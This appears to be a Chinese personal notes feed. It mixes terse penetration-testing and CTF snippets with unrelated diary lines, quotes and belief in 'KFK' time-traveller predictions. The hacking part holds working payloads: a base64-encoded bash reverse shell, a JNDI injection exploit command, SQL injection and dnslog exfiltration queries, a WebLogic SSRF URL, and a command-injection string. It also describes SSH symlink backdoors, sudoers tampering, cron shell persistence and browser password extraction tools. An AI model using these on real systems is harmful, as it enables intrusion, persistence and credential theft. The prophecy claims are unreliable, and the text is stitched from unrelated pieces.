p = subprocess.Popen(['java', '-jar', 'JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar', '-C', f'touch /tmp/asda', '-A', ip], stdout=subprocess.PIPE, shell=True)
for i in iter(p.stdout.readline, 'b'):
print(str(i, 'utf-8').strip())
ffifdyop 经过md5加密后:276f722736c95d99e921722cf9ed621c 再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b 用途: select from admin where password=''or'6<乱码>' 就相当于select from admin where password=''or 1 实现sql注入
分号可用在两种场景:
/;xxx/实现分割目录 /..;/实现跨目录,常用在../被禁用的场景下 ;.css或;.js等利用白名单绕过认证鉴权python -c 'import pty;pty.spawn("/bin/bash")'Ctrl + Zstty raw -echo; fg x2export TERM=xterm-256color
反弹shell防止ctrl+c结束
redis主从复制,就是伪装一个主服务器,然后将一个恶意so文件复制到被攻击方的从服务器上,然后再被攻击方的从服务器上执行命令,恶意so文件可以为redis创建新的命令,类似于mysql的udf
certutil ûurlcache ûsplit ûf
XPath 轴(Axes)
定时器无限debugger
chrome_options.add_argument("--disable-blink-features=AutomationControlled")
使用type()函数时,如果只传入一个参数object,那么将返回该object的类型;
如果分别传入name,bases,dict这三个参数,那么type()函数将会创建一个对象;
使用class定义对象的时候,Python解释器调用type()函数来动态创建对象。
python屏蔽Traceback
find / -perm -u=s -type f 2>/dev/null 命令解析: find:文件查找命令 / :在/目录下查找
-perm:查找权限
-u=s:权限为s的(s权限:临时以文件所有者的身份运行)
-type:文件类型
f:普通文件
2>/dev/null:将错误输出到黑洞(也就是说输出到这里就是不显示错误) 2:标准错误
nginx反向代理400绕过:
nginx反向代理时会将url进行normalize,也就是会将转发前的
../
去掉,而当去掉后的路径超过了web根目录就会报400错误,所以可在payload前面加上/#/../
即可oracle盲注语句:
其中
||
表示拼接,decode
是一个oracle函数类似条件判断substr(user,1,1)
这是条件,S代表值 ,1跟0代表成功跟失败的返回。常用
'||1/1||'
来判断是否存在注入使用subprocess.Popen执行命令并持续获取返回值
在使用pdf2word转换pdf时,会出现很多info和warning日志,包括使用pdfplumber也会产生很多日志,然而有没找到关闭日志的参数,所以用了个笨办法,debug将产生日志的相关代码注释并添加
pass
什么是二次注入?
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
原理:
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
当目标服务器没有
wget
和curl
的命令时,可以用以下方法下载或传输文件:首先将文件上传到自己的vps上,然后监听端口:
然后再目标服务器上执行:
但是这样如果传输文件完成后客户端和服务端都不会自动退出,可以使用参数
-q 0
,在读取EOF之后(即文件结束后)将退出0秒。然后它将退出,接收端也会退出nc。提取浏览器已保存的密码
http://www.nirsoft.net/utils/web_browser_password.html
http://www.nirsoft.net/utils/chromepass.html
备份SD卡:
sudo dd if=/dev/sda | gzip>pi.gz
还原(写入)SD卡:
sudo gzip -dc pi.gz | sudo dd of=/dev/sda
xxxxx无需认证访问内容
admin访问就跳转到login登录
/xxxxx/..;/admin越权访问admin内容成功
你知道吗?
东西没坏,就别乱修。
jboss反序列化漏洞路径:
1.
/jbossmq-httpil/HTTPServerILServlet
2.
/invoker/readonly
3.
/invoker/JMXInvokerServlet
可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
查看逻辑CPU的个数 cat /proc/cpuinfo| grep "processor"| wc -l
给普通用户赋予速sudo权限
echo "xxx ALL=(ALL) ALL" >> /etc/sudoers
shiro 反序列化漏洞
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
利用工具 ShiroScan
python伪终端
python -c "import pty;pty.spawn('/bin/bash')"
weblogic SSRF漏洞
http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
dnslog
1.SQL注入中的盲注
2.无回显的命令执行
3.无回显的SSRF
例如:1‘ and load_file(concat(‘\\’,(select database()),’.xtftm5.ceye.io\sql’))–+
传值赋值:变量默认总是传值赋值。那也就是说,当将一个表达式的值赋予一个变量时,整个原始表达式的值被赋值到目标变量。这意味着,例如,当一个变量的值赋予另外一个变量时,改变其中一个变量的值,将不会影响到另外一个变量。
引用赋值:PHP 也提供了另外一种方式给变量赋值:引用赋值。这意味着新的变量简单的引用(换言之,“成为其别名” 或者 “指向”)了原始变量。改动新的变量将影响到原始变量,反之亦然。
[GYCTF2020]Blacklist
HANDLER ... OPEN语句打开一个表,
使其可以使用后续HANDLER ... READ语句访问,
该表对象未被其他会话共享,
并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
payload:1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
]P2P内网穿透,大流量低延迟,内网穿透工具nps
可以使用smb共享来绕过php远程文件包含的限制。
当“allow_url_fopen”和“allow_url_include”设置为“Off”,而且smb为匿名服务器,可通过xxx.com/page.php?file=\192.168.x.x\shell.php进行远程文件包含
steghide extract -sf moon.jpg
php5.5.9 漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】
用inode索引节点,先使用ls -i命令寻找flag的inode号 ls -i /
payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 38406195`
(tac:从最后一行倒序显示内容,并将所有内容输入)
(注意:这里使用hackbar无法得到结果,因为浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。)
--favorite_number
通过@构造payload读取文件
私有变量(protected变量应该也会)在进行序列化之后的字符串开头结尾各有一个空白字符(即%00)
--攻防世界Web_php_unserialize
首先测试所有的截断符号:
‘$’
‘;’
‘|’
‘-’
‘(’
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{’
'%0a’可以当作空格来用;
利用截断符号配合普通命令
long long int最大值9223372036854775807,int最大值2147438647
当超过这个最大值时就会发生数据溢出,数据溢出后变成负数就绕过了
两个is_numeric进行判断并且用and连接时,and后面的is_numeric无论判断的是不是数字皆可以绕过。
wireshark过滤DHCP使用bootp过滤
HTTP/2虽然解决了HTTP队头问题,但是对于TCP队头阻塞的问题却无能为力,因为TCP是可靠传输,如果其中某一个数据包没有按照顺序到达,接收端就会一直等待,这就是TCP队头阻塞
[护网杯 2018]easy_tornado
模板注入msg={{handler.settings}}
文件上传可以先上传一个图片,里面写入file_put_contents()生成的一句话一句话,然后再利用文件包含include包含该文件即可生成一句话
66
我要闷声发大财
ssh软连接后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345建立sshd的软连接
刚开始看netflix感觉一个很不舒服的地方就是没有调节清晰度的地方,刚开始用apple music感觉没有评论及选择音质的地方很不习惯,以及刚开始用微信的时候没有花里胡哨的气泡的装饰 。但用的久了,你发现你根本不需要这些,打开音乐软件只想安安静静听歌 打开微信只是为了支付和聊天,看视频的网络好了就看超清,网速慢也只能看标清,似乎我更喜欢把东西做的更简单而又不是本质。
可以先去创业公司,待半年锻炼锻炼,然后跳槽去大公司
在进程池中如果代码出现异常不会报错
adsense又申请成功了
ffifdyop 经过md5加密后:276f722736c95d99e921722cf9ed621c 再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b 用途: select from admin where password=''or'6<乱码>' 就相当于select from admin where password=''or 1 实现sql注入
可以往回看,但别往回走
用于解决复杂问题的步骤,成为算法
我太菜了
我还是更相信kfk说的
到目前为止他说对了很多事
从2020年到现在,真的和KFK说的一样,
我开始感受到2019年是值得回忆的一年。
他之前说过朝鲜有变动,现在估计也差不多了
KFK建议人们现在选择一条进化心灵的方法,做好未来悲惨世界的准备。我认为这一条尤为重要。
YJ昨天也发推了说他们原来跟踪的时间线已经从a变到b
这也是能解释他们为什么有些说的不准确
在平淡的日子里,你要有勇气挑去生活的刺
会遗憾的不是因为有些事没做, 而是因为有些事再也没机会做了。
没有人喜欢孤独,只是不喜欢失望罢了。 —村上春树
13天收录26个页面,百度也还是可以的
建站一周多就被百度收录3个页面,不错了
网课就是直播不想听,课后二倍速看回放
所以,找到利用负能量的方式,会更实在一点,而衡量“利用”和“被利用”的标准,不是当下的情绪,而是之后的努力,所以,再下一次感到难过,羞耻,愤怒的时候,别让这份能量随着眼泪流走,毕竟,能量的意义不在于正负,而在于让你前行。
其实遗憾就想生命中的一场雨,你要做的不是呵斥天空让它停止,而是接受“今天下雨了”这个事实,然后打开伞,不是接受它,也不是抵抗它,而是用一种不继续伤害自己的方式与它相处。
4点10分,外面下雪了,我失眠了
网站备案好慢
原来这个世界上最遗憾的事,是当试图徒弥补一个遗憾的时候,却让另一个遗憾出现了。可能一直以来我们都对遗憾有误解,它存在的意义,不是等着被弥补,而是提醒我们,珍惜眼前人。
遗憾是用来弥补的,不是用来内疚的
简书对手机端的的用户越来越来辣鸡了,兼职不能打开,一打开就跳转到广告页面伴随一声长振动,大半夜玩手机吓我一跳,网页还返回不了,真牛逼!